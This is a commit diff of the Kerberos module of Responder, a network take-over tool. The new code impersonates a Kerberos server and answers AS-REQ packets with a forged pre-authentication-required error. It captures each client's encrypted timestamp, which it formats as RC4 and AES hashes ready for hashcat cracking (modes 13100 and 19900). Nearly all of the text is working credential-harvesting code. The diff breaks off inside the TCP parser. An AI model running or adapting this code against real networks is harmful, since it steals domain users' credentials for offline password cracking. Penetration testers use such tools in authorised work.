mirror of
https://github.com/lgandx/Responder.git
synced 2026-01-08 15:49:01 +00:00
Major fixes, now supporting AES and RC4 hash extraction
This commit is contained in:
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -16,134 +16,850 @@
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import codecs
|
||||
import struct
|
||||
import time
|
||||
from utils import *
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
# Kerberos encryption types
|
||||
ENCRYPTION_TYPES = {
|
||||
b'\x01': 'des-cbc-crc',
|
||||
b'\x03': 'des-cbc-md5',
|
||||
b'\x11': 'aes128-cts-hmac-sha1-96',
|
||||
b'\x12': 'aes256-cts-hmac-sha1-96',
|
||||
b'\x13': 'rc4-hmac',
|
||||
b'\x14': 'rc4-hmac-exp',
|
||||
b'\x17': 'rc4-hmac',
|
||||
b'\x18': 'rc4-hmac-exp',
|
||||
}
|
||||
|
||||
def ParseMSKerbv5TCP(Data):
|
||||
MsgType = Data[21:22]
|
||||
EncType = Data[43:44]
|
||||
MessageType = Data[32:33]
|
||||
def parse_asn1_length(data, offset):
|
||||
"""Parse ASN.1 length field (short or long form)"""
|
||||
if offset >= len(data):
|
||||
return 0, 0
|
||||
|
||||
first_byte = data[offset]
|
||||
|
||||
# Short form (length < 128)
|
||||
if first_byte < 0x80:
|
||||
return first_byte, 1
|
||||
|
||||
# Long form
|
||||
num_octets = first_byte & 0x7F
|
||||
if num_octets == 0 or offset + 1 + num_octets > len(data):
|
||||
return 0, 0
|
||||
|
||||
length = 0
|
||||
for i in range(num_octets):
|
||||
length = (length << 8) | data[offset + 1 + i]
|
||||
|
||||
return length, 1 + num_octets
|
||||
|
||||
if MsgType == b'\x0a' and EncType == b'\x17' and MessageType ==b'\x02':
|
||||
if Data[49:53] == b'\xa2\x36\x04\x34' or Data[49:53] == b'\xa2\x35\x04\x33':
|
||||
HashLen = struct.unpack('<b',Data[50:51])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[153:154])[0]
|
||||
Name = Data[154:154+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
|
||||
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
def encode_asn1_length(length):
|
||||
"""Encode length in ASN.1 format"""
|
||||
if length < 128:
|
||||
return struct.pack('B', length)
|
||||
|
||||
# Long form
|
||||
length_bytes = []
|
||||
temp = length
|
||||
while temp > 0:
|
||||
length_bytes.insert(0, temp & 0xFF)
|
||||
temp >>= 8
|
||||
|
||||
num_octets = len(length_bytes)
|
||||
result = struct.pack('B', 0x80 | num_octets)
|
||||
for byte in length_bytes:
|
||||
result += struct.pack('B', byte)
|
||||
|
||||
return result
|
||||
|
||||
if Data[44:48] == b'\xa2\x36\x04\x34' or Data[44:48] == b'\xa2\x35\x04\x33':
|
||||
HashLen = struct.unpack('<b',Data[45:46])[0]
|
||||
if HashLen == 53:
|
||||
Hash = Data[48:99]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[147:148])[0]
|
||||
Name = Data[148:148+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
|
||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
elif HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
else:
|
||||
Hash = Data[48:100]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
return False
|
||||
def extract_principal_name(data):
|
||||
"""Extract principal name from AS-REQ - searches in req-body only"""
|
||||
try:
|
||||
# Look for [4] req-body tag first to avoid PA-DATA
|
||||
req_body_offset = None
|
||||
for i in range(len(data) - 100):
|
||||
if data[i:i+1] == b'\xa4': # [4] req-body
|
||||
req_body_offset = i
|
||||
break
|
||||
|
||||
if req_body_offset is None:
|
||||
return "user"
|
||||
|
||||
# Search for [1] cname AFTER req-body starts
|
||||
search_start = req_body_offset
|
||||
search_end = min(search_start + 150, len(data) - 20)
|
||||
|
||||
for i in range(search_start, search_end):
|
||||
# Look for GeneralString (0x1b) with reasonable length
|
||||
if data[i:i+1] == b'\x1b':
|
||||
name_len = data[i+1] if i+1 < len(data) else 0
|
||||
if 1 < name_len < 30 and i + 2 + name_len <= len(data):
|
||||
name = data[i+2:i+2+name_len].decode('latin-1', errors='ignore')
|
||||
# Validate: printable, no control chars, looks like username
|
||||
if (name and
|
||||
name.isprintable() and
|
||||
name.isascii() and
|
||||
not any(c in name for c in ['\x00', '\n', '\r', '\t']) and
|
||||
all(c.isalnum() or c in '.-_@' for c in name)):
|
||||
return name
|
||||
|
||||
return "user"
|
||||
except:
|
||||
return "user"
|
||||
|
||||
def extract_realm(data):
|
||||
"""Extract realm from AS-REQ - searches in req-body only"""
|
||||
try:
|
||||
# Look for [4] req-body tag first
|
||||
req_body_offset = None
|
||||
for i in range(len(data) - 100):
|
||||
if data[i:i+1] == b'\xa4': # [4] req-body
|
||||
req_body_offset = i
|
||||
break
|
||||
|
||||
if req_body_offset is None:
|
||||
return settings.Config.MachineName.upper()
|
||||
|
||||
# Search for realm AFTER req-body starts
|
||||
search_start = req_body_offset + 10
|
||||
search_end = min(search_start + 150, len(data) - 20)
|
||||
|
||||
for i in range(search_start, search_end):
|
||||
# Look for GeneralString (0x1b) with reasonable length
|
||||
if data[i:i+1] == b'\x1b':
|
||||
realm_len = data[i+1] if i+1 < len(data) else 0
|
||||
# Realm should be 5-50 chars (like "DOMAIN.LOCAL")
|
||||
if 5 < realm_len < 50 and i + 2 + realm_len <= len(data):
|
||||
realm = data[i+2:i+2+realm_len].decode('latin-1', errors='ignore')
|
||||
# Validate: printable ASCII, contains dot, looks like domain
|
||||
if (realm and
|
||||
realm.isprintable() and
|
||||
realm.isascii() and
|
||||
'.' in realm and
|
||||
realm.count('.') >= 1 and realm.count('.') <= 5 and
|
||||
not any(c in realm for c in ['\x00', '\n', '\r', '\t', '/', ':', ' ']) and
|
||||
all(c.isalnum() or c in '.-' for c in realm)):
|
||||
return realm
|
||||
|
||||
return settings.Config.MachineName.upper()
|
||||
except:
|
||||
return settings.Config.MachineName.upper()
|
||||
|
||||
def find_msg_type(data):
|
||||
"""Find Kerberos message type by parsing ASN.1 structure"""
|
||||
try:
|
||||
offset = 0
|
||||
|
||||
# APPLICATION tag [10] for AS-REQ
|
||||
if offset >= len(data) or data[offset] != 0x6a:
|
||||
return None, False, None, None
|
||||
offset += 1
|
||||
|
||||
# Parse outer length
|
||||
length, consumed = parse_asn1_length(data, offset)
|
||||
if consumed == 0:
|
||||
return None, False, None, None
|
||||
offset += consumed
|
||||
|
||||
# SEQUENCE tag
|
||||
if offset >= len(data) or data[offset] != 0x30:
|
||||
return None, False, None, None
|
||||
offset += 1
|
||||
|
||||
# Parse SEQUENCE length
|
||||
seq_length, consumed = parse_asn1_length(data, offset)
|
||||
if consumed == 0:
|
||||
return None, False, None, None
|
||||
offset += consumed
|
||||
|
||||
# [1] pvno
|
||||
if offset >= len(data) or data[offset] != 0xa1:
|
||||
return None, False, None, None
|
||||
offset += 1
|
||||
|
||||
pvno_len, consumed = parse_asn1_length(data, offset)
|
||||
offset += consumed + pvno_len
|
||||
|
||||
# [2] msg-type
|
||||
if offset >= len(data) or data[offset] != 0xa2:
|
||||
return None, False, None, None
|
||||
offset += 1
|
||||
|
||||
msgtype_len, consumed = parse_asn1_length(data, offset)
|
||||
offset += consumed
|
||||
|
||||
# INTEGER tag
|
||||
if offset >= len(data) or data[offset] != 0x02:
|
||||
return None, False, None, None
|
||||
offset += 1
|
||||
|
||||
int_len, consumed = parse_asn1_length(data, offset)
|
||||
offset += consumed
|
||||
|
||||
if offset >= len(data):
|
||||
return None, False, None, None
|
||||
|
||||
msg_type = data[offset]
|
||||
|
||||
# Extract client name and realm for KRB-ERROR response
|
||||
cname = extract_principal_name(data)
|
||||
realm = extract_realm(data)
|
||||
|
||||
return msg_type, True, cname, realm
|
||||
|
||||
except:
|
||||
return None, False, None, None
|
||||
|
||||
def find_padata_and_etype(data):
|
||||
"""
|
||||
Search for PA-DATA and determine encryption type
|
||||
Returns: (has_padata, etype) where etype is the encryption type number or None
|
||||
"""
|
||||
try:
|
||||
# Look for [3] PA-DATA tag (0xa3)
|
||||
for i in range(len(data) - 60):
|
||||
if data[i:i+1] == b'\xa3':
|
||||
# Found PA-DATA, now we need to check if it contains PA-ENC-TIMESTAMP
|
||||
# Structure: [3] SEQUENCE OF { [1] padata-type, [2] padata-value }
|
||||
|
||||
# Look for [1] padata-type within next 30 bytes
|
||||
has_pa_enc_timestamp = False
|
||||
padata_value_offset = None
|
||||
|
||||
for j in range(i, min(i + 30, len(data) - 10)):
|
||||
if data[j:j+1] == b'\xa1': # [1] padata-type
|
||||
# Check if padata-type = 2 (PA-ENC-TIMESTAMP)
|
||||
# Pattern: a1 03 02 01 02
|
||||
if j + 4 < len(data) and data[j+1:j+5] == b'\x03\x02\x01\x02':
|
||||
has_pa_enc_timestamp = True
|
||||
# Next should be [2] padata-value
|
||||
break
|
||||
|
||||
if not has_pa_enc_timestamp:
|
||||
# PA-DATA exists but not PA-ENC-TIMESTAMP
|
||||
# This is normal for first AS-REQ
|
||||
return False, None
|
||||
|
||||
# Now look for [2] padata-value which contains EncryptedData
|
||||
for j in range(i, min(i + 50, len(data) - 10)):
|
||||
if data[j:j+1] == b'\xa2': # [2] padata-value
|
||||
# Inside padata-value is EncryptedData
|
||||
# Now look for [0] etype inside EncryptedData
|
||||
for k in range(j, min(j + 30, len(data) - 5)):
|
||||
if data[k:k+1] == b'\xa0': # [0] etype
|
||||
# Pattern: a0 03 02 01 <etype>
|
||||
if k + 4 < len(data) and data[k+1:k+3] == b'\x03\x02':
|
||||
etype = data[k+4]
|
||||
if settings.Config.Verbose:
|
||||
etype_name = ENCRYPTION_TYPES.get(bytes([etype]), 'unknown')
|
||||
print(text('[KERB] Found PA-ENC-TIMESTAMP with etype %d (%s)' % (etype, etype_name)))
|
||||
return True, etype
|
||||
|
||||
# Found PA-DATA but couldn't determine etype
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Found PA-DATA but could not parse etype'))
|
||||
return True, None
|
||||
|
||||
# No PA-DATA found
|
||||
return False, None
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Error in find_padata_and_etype: %s' % str(e)))
|
||||
return False, None
|
||||
|
||||
def extract_aes_hash(data, padata_offset, etype):
|
||||
"""
|
||||
Extract AES Kerberos hash for hashcat mode 19900
|
||||
Format: $krb5pa$<etype>$<user>$<realm>$<cipher>
|
||||
|
||||
For AS-REQ with PA-ENC-TIMESTAMP, we need ONLY the cipher bytes,
|
||||
not the EncryptedData structure.
|
||||
"""
|
||||
try:
|
||||
# PA-DATA structure:
|
||||
# [3] PA-DATA
|
||||
# [1] padata-type = 2
|
||||
# [2] padata-value = OCTET STRING {
|
||||
# EncryptedData = SEQUENCE {
|
||||
# [0] etype = 18
|
||||
# [2] cipher = OCTET STRING { CIPHER_BYTES } ← We want ONLY this!
|
||||
# }
|
||||
# }
|
||||
|
||||
# Strategy: Find [0] etype, then find [2] cipher AFTER it, extract cipher bytes
|
||||
search_start = max(0, padata_offset - 30)
|
||||
search_end = min(len(data), padata_offset + 100)
|
||||
|
||||
# First, find [0] etype to confirm we're in the right place
|
||||
etype_found = False
|
||||
etype_offset = None
|
||||
|
||||
for i in range(search_start, search_end):
|
||||
if data[i:i+1] == b'\xa0': # [0] etype
|
||||
# Verify pattern: a0 03 02 01 <etype>
|
||||
if i + 4 < len(data) and data[i+1:i+3] == b'\x03\x02':
|
||||
found_etype = data[i+4]
|
||||
if found_etype == etype:
|
||||
etype_found = True
|
||||
etype_offset = i
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Found [0] etype at offset %d' % i))
|
||||
break
|
||||
|
||||
if not etype_found:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Could not find [0] etype'))
|
||||
return None
|
||||
|
||||
# Now find [2] cipher field AFTER the etype
|
||||
cipher_search_start = etype_offset + 5
|
||||
cipher_search_end = min(len(data), etype_offset + 80)
|
||||
|
||||
for i in range(cipher_search_start, cipher_search_end):
|
||||
if data[i:i+1] == b'\xa2': # [2] cipher field
|
||||
# Parse length
|
||||
offset = i + 1
|
||||
if offset >= len(data):
|
||||
continue
|
||||
|
||||
len_byte = data[offset]
|
||||
if len_byte < 0x80:
|
||||
# Short form
|
||||
offset += 1
|
||||
else:
|
||||
# Long form
|
||||
num_octets = len_byte & 0x7F
|
||||
offset += 1 + num_octets
|
||||
|
||||
# Should be OCTET STRING (0x04)
|
||||
if offset >= len(data) or data[offset:offset+1] != b'\x04':
|
||||
continue
|
||||
|
||||
offset += 1
|
||||
|
||||
# Get OCTET STRING length
|
||||
if offset >= len(data):
|
||||
continue
|
||||
|
||||
cipher_len_byte = data[offset]
|
||||
cipher_len = 0
|
||||
|
||||
if cipher_len_byte < 0x80:
|
||||
# Short form
|
||||
cipher_len = cipher_len_byte
|
||||
offset += 1
|
||||
else:
|
||||
# Long form
|
||||
num_octets = cipher_len_byte & 0x7F
|
||||
for j in range(num_octets):
|
||||
if offset + 1 + j < len(data):
|
||||
cipher_len = (cipher_len << 8) | data[offset + 1 + j]
|
||||
offset += 1 + num_octets
|
||||
|
||||
# Extract ONLY the cipher bytes
|
||||
if offset + cipher_len > len(data):
|
||||
continue
|
||||
|
||||
if cipher_len < 40 or cipher_len > 100:
|
||||
continue
|
||||
|
||||
cipher_bytes = data[offset:offset+cipher_len]
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Extracted cipher: %d bytes from offset %d' % (len(cipher_bytes), offset)))
|
||||
|
||||
# Extract username and realm
|
||||
name = extract_principal_name(data)
|
||||
realm = extract_realm(data)
|
||||
|
||||
# Convert cipher to hex
|
||||
cipher_hex = codecs.encode(cipher_bytes, 'hex').decode('latin-1')
|
||||
|
||||
# Build hashcat mode 19900 format
|
||||
# $krb5pa$<etype>$<user>$<realm>$<cipher>
|
||||
BuildHash = "$krb5pa$%d$%s$%s$%s" % (
|
||||
etype,
|
||||
name,
|
||||
realm,
|
||||
cipher_hex
|
||||
)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Built hash for mode 19900 with %d bytes of cipher' % len(cipher_bytes)))
|
||||
|
||||
return {
|
||||
'hash': BuildHash,
|
||||
'name': name,
|
||||
'domain': realm,
|
||||
'enc_type': 'aes256-cts-hmac-sha1-96' if etype == 18 else 'aes128-cts-hmac-sha1-96'
|
||||
}
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Could not find [2] cipher field'))
|
||||
return None
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] AES extraction error: %s' % str(e)))
|
||||
return None
|
||||
|
||||
def find_padata_etype23(data):
|
||||
"""Legacy function - Search for PA-DATA with etype 23 (RC4-HMAC)"""
|
||||
has_padata, etype = find_padata_and_etype(data)
|
||||
if has_padata and etype == 0x17: # 23 = 0x17
|
||||
# Look for the encrypted timestamp offset
|
||||
for i in range(len(data) - 60):
|
||||
if data[i:i+1] == b'\x17':
|
||||
for j in range(i, min(i+20, len(data)-60)):
|
||||
if data[j:j+1] == b'\xa2':
|
||||
return j
|
||||
return None
|
||||
|
||||
def extract_krb5_hash_from_offset(data, offset):
|
||||
"""
|
||||
Extract Kerberos RC4 hash for hashcat mode 13100
|
||||
Format: $krb5tgs$23$*user$realm$spn*$checksum$edata2
|
||||
"""
|
||||
try:
|
||||
# Look for the hash pattern
|
||||
# \xa2\x36\x04\x34 or \xa2\x35\x04\x33
|
||||
search_start = max(0, offset - 10)
|
||||
search_end = min(len(data) - 60, offset + 30)
|
||||
|
||||
for i in range(search_start, search_end):
|
||||
if data[i:i+4] in [b'\xa2\x36\x04\x34', b'\xa2\x35\x04\x33']:
|
||||
HashLen = struct.unpack('<b', data[i+1:i+2])[0]
|
||||
if HashLen in [53, 54]:
|
||||
hash_offset = i + 4
|
||||
if hash_offset + 52 > len(data):
|
||||
continue
|
||||
|
||||
Hash = data[hash_offset:hash_offset+52]
|
||||
if len(Hash) != 52:
|
||||
continue
|
||||
|
||||
# Extract username and realm using robust functions
|
||||
Name = extract_principal_name(data)
|
||||
Domain = extract_realm(data)
|
||||
|
||||
if Name and Domain:
|
||||
# For mode 13100, split into checksum and edata2
|
||||
# checksum = first 16 bytes
|
||||
# edata2 = remaining 36 bytes
|
||||
checksum = Hash[:16]
|
||||
edata2 = Hash[16:]
|
||||
|
||||
checksum_hex = codecs.encode(checksum, 'hex').decode('latin-1')
|
||||
edata2_hex = codecs.encode(edata2, 'hex').decode('latin-1')
|
||||
|
||||
# SPN for AS-REQ is krbtgt/REALM
|
||||
spn = "krbtgt/" + Domain
|
||||
|
||||
# Build hashcat mode 13100 format
|
||||
# $krb5tgs$23$*user$realm$spn*$checksum$edata2
|
||||
BuildHash = "$krb5tgs$23$*%s$%s$%s*$%s$%s" % (
|
||||
Name, Domain, spn, checksum_hex, edata2_hex
|
||||
)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Extracted RC4 hash for %s@%s (mode 13100)' % (Name, Domain)))
|
||||
|
||||
return {
|
||||
'hash': BuildHash,
|
||||
'name': Name,
|
||||
'domain': Domain,
|
||||
'enc_type': 'rc4-hmac'
|
||||
}
|
||||
break
|
||||
|
||||
return None
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] RC4 extraction error: %s' % str(e)))
|
||||
return None
|
||||
|
||||
def build_krb_error(error_code, cname, realm):
|
||||
"""Build KRB-ERROR response according to RFC 4120"""
|
||||
try:
|
||||
# Get current time
|
||||
current_time = time.strftime("%Y%m%d%H%M%SZ", time.gmtime())
|
||||
|
||||
# [0] pvno = 5
|
||||
pvno = b'\xa0\x03\x02\x01\x05'
|
||||
|
||||
# [1] msg-type = 30 (KRB-ERROR)
|
||||
msg_type = b'\xa1\x03\x02\x01\x1e'
|
||||
|
||||
# [4] stime (server time) - GeneralizedTime
|
||||
stime_str = current_time.encode('latin-1')
|
||||
stime = b'\xa4' + encode_asn1_length(len(stime_str) + 2) + b'\x18' + struct.pack('B', len(stime_str)) + stime_str
|
||||
|
||||
# [5] susec (microseconds) - REQUIRED!
|
||||
susec = b'\xa5\x03\x02\x01\x00' # 0 microseconds
|
||||
|
||||
# [6] error-code
|
||||
error_code_bytes = b'\xa6\x03\x02\x01' + struct.pack('B', error_code)
|
||||
|
||||
# [9] realm (server realm)
|
||||
realm_bytes = realm.encode('latin-1')
|
||||
realm_field = b'\xa9' + encode_asn1_length(len(realm_bytes) + 2) + b'\x1b' + struct.pack('B', len(realm_bytes)) + realm_bytes
|
||||
|
||||
# [10] sname (server principal name) - krbtgt/REALM
|
||||
sname_str = b'krbtgt'
|
||||
sname_name = b'\x1b' + struct.pack('B', len(sname_str)) + sname_str
|
||||
sname_realm = b'\x1b' + struct.pack('B', len(realm_bytes)) + realm_bytes
|
||||
|
||||
# name-string is SEQUENCE OF GeneralString
|
||||
sname_string_seq = b'\x30' + encode_asn1_length(len(sname_name) + len(sname_realm)) + sname_name + sname_realm
|
||||
|
||||
# name-type [0] = NT-SRV-INST (2)
|
||||
sname_type = b'\xa0\x03\x02\x01\x02'
|
||||
|
||||
# name-string [1]
|
||||
sname_string = b'\xa1' + encode_asn1_length(len(sname_string_seq)) + sname_string_seq
|
||||
|
||||
# Complete PrincipalName
|
||||
sname_principal = b'\x30' + encode_asn1_length(len(sname_type) + len(sname_string)) + sname_type + sname_string
|
||||
|
||||
# [10] tag wrapper
|
||||
sname_field = b'\xaa' + encode_asn1_length(len(sname_principal)) + sname_principal
|
||||
|
||||
# Build inner SEQUENCE in correct order: [0][1][4][5][6][9][10]
|
||||
inner_seq = pvno + msg_type + stime + susec + error_code_bytes + realm_field + sname_field
|
||||
|
||||
# Wrap in SEQUENCE
|
||||
sequence = b'\x30' + encode_asn1_length(len(inner_seq)) + inner_seq
|
||||
|
||||
# Wrap in APPLICATION [30]
|
||||
krb_error = b'\x7e' + encode_asn1_length(len(sequence)) + sequence
|
||||
|
||||
return krb_error
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] Error building KRB-ERROR: %s' % str(e)))
|
||||
# Return minimal valid KRB-ERROR
|
||||
return b'\x7e\x39\x30\x37\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa4\x11\x18\x0f20251231000000Z\xa5\x03\x02\x01\x00\xa6\x03\x02\x01\x19'
|
||||
|
||||
def ParseMSKerbv5UDP(Data):
|
||||
MsgType = Data[17:18]
|
||||
EncType = Data[39:40]
|
||||
|
||||
if MsgType == b'\x0a' and EncType == b'\x17':
|
||||
if Data[40:44] == b'\xa2\x36\x04\x34' or Data[40:44] == b'\xa2\x35\x04\x33':
|
||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[44:96]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[144:145])[0]
|
||||
Name = Data[145:145+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
|
||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
elif HashLen == 53:
|
||||
Hash = Data[44:95]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||
Name = Data[144:144+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
|
||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
"""Parse Kerberos AS-REQ from UDP packet"""
|
||||
try:
|
||||
if len(Data) < 50:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP packet too short: %d bytes' % len(Data)))
|
||||
return None, None, None, None
|
||||
|
||||
msg_type, valid, cname, realm = find_msg_type(Data)
|
||||
|
||||
if not valid:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP invalid AS-REQ structure'))
|
||||
return None, None, None, None
|
||||
|
||||
if msg_type != 0x0a:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP not an AS-REQ message (type=%d)' % msg_type))
|
||||
return None, None, None, None
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP valid AS-REQ detected from %s@%s' % (cname, realm)))
|
||||
|
||||
# Check for PA-DATA and get encryption type
|
||||
has_padata, etype = find_padata_and_etype(Data)
|
||||
|
||||
if not has_padata:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP no PA-DATA found (will request pre-auth)'))
|
||||
return None, 25, cname, realm # KDC_ERR_PREAUTH_REQUIRED
|
||||
|
||||
# Check encryption type
|
||||
if etype is None:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP found PA-DATA but could not determine etype'))
|
||||
return None, 25, cname, realm
|
||||
|
||||
# Handle different encryption types
|
||||
if etype == 0x17: # RC4-HMAC (etype 23)
|
||||
# Extract RC4 hash for hashcat mode 13100
|
||||
padata_offset = find_padata_etype23(Data)
|
||||
if padata_offset is None:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP found RC4 PA-DATA but failed to locate encrypted timestamp'))
|
||||
return None, None, cname, realm
|
||||
|
||||
result = extract_krb5_hash_from_offset(Data, padata_offset)
|
||||
|
||||
if result:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP successfully extracted RC4 hash for %s@%s (hashcat -m 13100)' % (
|
||||
result['name'], result['domain'])))
|
||||
return result, None, cname, realm
|
||||
|
||||
elif etype in [0x11, 0x12]: # AES128 (17) or AES256 (18)
|
||||
# Extract AES hash for hashcat mode 19900
|
||||
etype_name = ENCRYPTION_TYPES.get(bytes([etype]), 'unknown')
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP extracting %s hash (hashcat -m 19900)' % etype_name))
|
||||
|
||||
# Find PA-DATA offset
|
||||
padata_offset = None
|
||||
for i in range(len(Data) - 60):
|
||||
if Data[i:i+1] == b'\xa3': # [3] PA-DATA
|
||||
padata_offset = i
|
||||
break
|
||||
|
||||
if padata_offset:
|
||||
result = extract_aes_hash(Data, padata_offset, etype)
|
||||
|
||||
if result:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP successfully extracted AES hash for %s@%s (hashcat -m 19900)' % (
|
||||
result['name'], result['domain'])))
|
||||
return result, None, cname, realm
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP found AES PA-DATA but failed to extract hash'))
|
||||
return None, None, cname, realm
|
||||
|
||||
else:
|
||||
Hash = Data[49:101]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[149:150])[0]
|
||||
Name = Data[150:150+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
|
||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
return False
|
||||
# Unsupported encryption type
|
||||
etype_name = ENCRYPTION_TYPES.get(bytes([etype]), 'unknown')
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP PA-DATA uses unsupported etype %d (%s)' % (etype, etype_name)))
|
||||
return None, None, cname, realm
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP failed to extract hash'))
|
||||
return None, None, cname, realm
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] UDP parsing error: %s' % str(e)))
|
||||
return None, None, None, None
|
||||
|
||||
def ParseMSKerbv5TCP(Data):
|
||||
"""Parse Kerberos AS-REQ from TCP connection"""
|
||||
try:
|
||||
if len(Data) < 54:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP packet too short: %d bytes' % len(Data)))
|
||||
return None, None, None, None
|
||||
|
||||
# Skip 4-byte length prefix for TCP
|
||||
data = Data[4:]
|
||||
|
||||
msg_type, valid, cname, realm = find_msg_type(data)
|
||||
|
||||
if not valid:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP invalid AS-REQ structure'))
|
||||
return None, None, None, None
|
||||
|
||||
if msg_type != 0x0a:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP not an AS-REQ message (type=%d)' % msg_type))
|
||||
return None, None, None, None
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP valid AS-REQ detected from %s@%s' % (cname, realm)))
|
||||
|
||||
# Check for PA-DATA and get encryption type
|
||||
has_padata, etype = find_padata_and_etype(data)
|
||||
|
||||
if not has_padata:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP no PA-DATA found (will request pre-auth)'))
|
||||
return None, 25, cname, realm
|
||||
|
||||
if etype is None:
|
||||
if settings.Config.Verbose:
|
||||
print(text('[KERB] TCP found PA-DATA but could not determine etype'))
|
||||
return None, 25, cname, realm
|
||||
|
||||
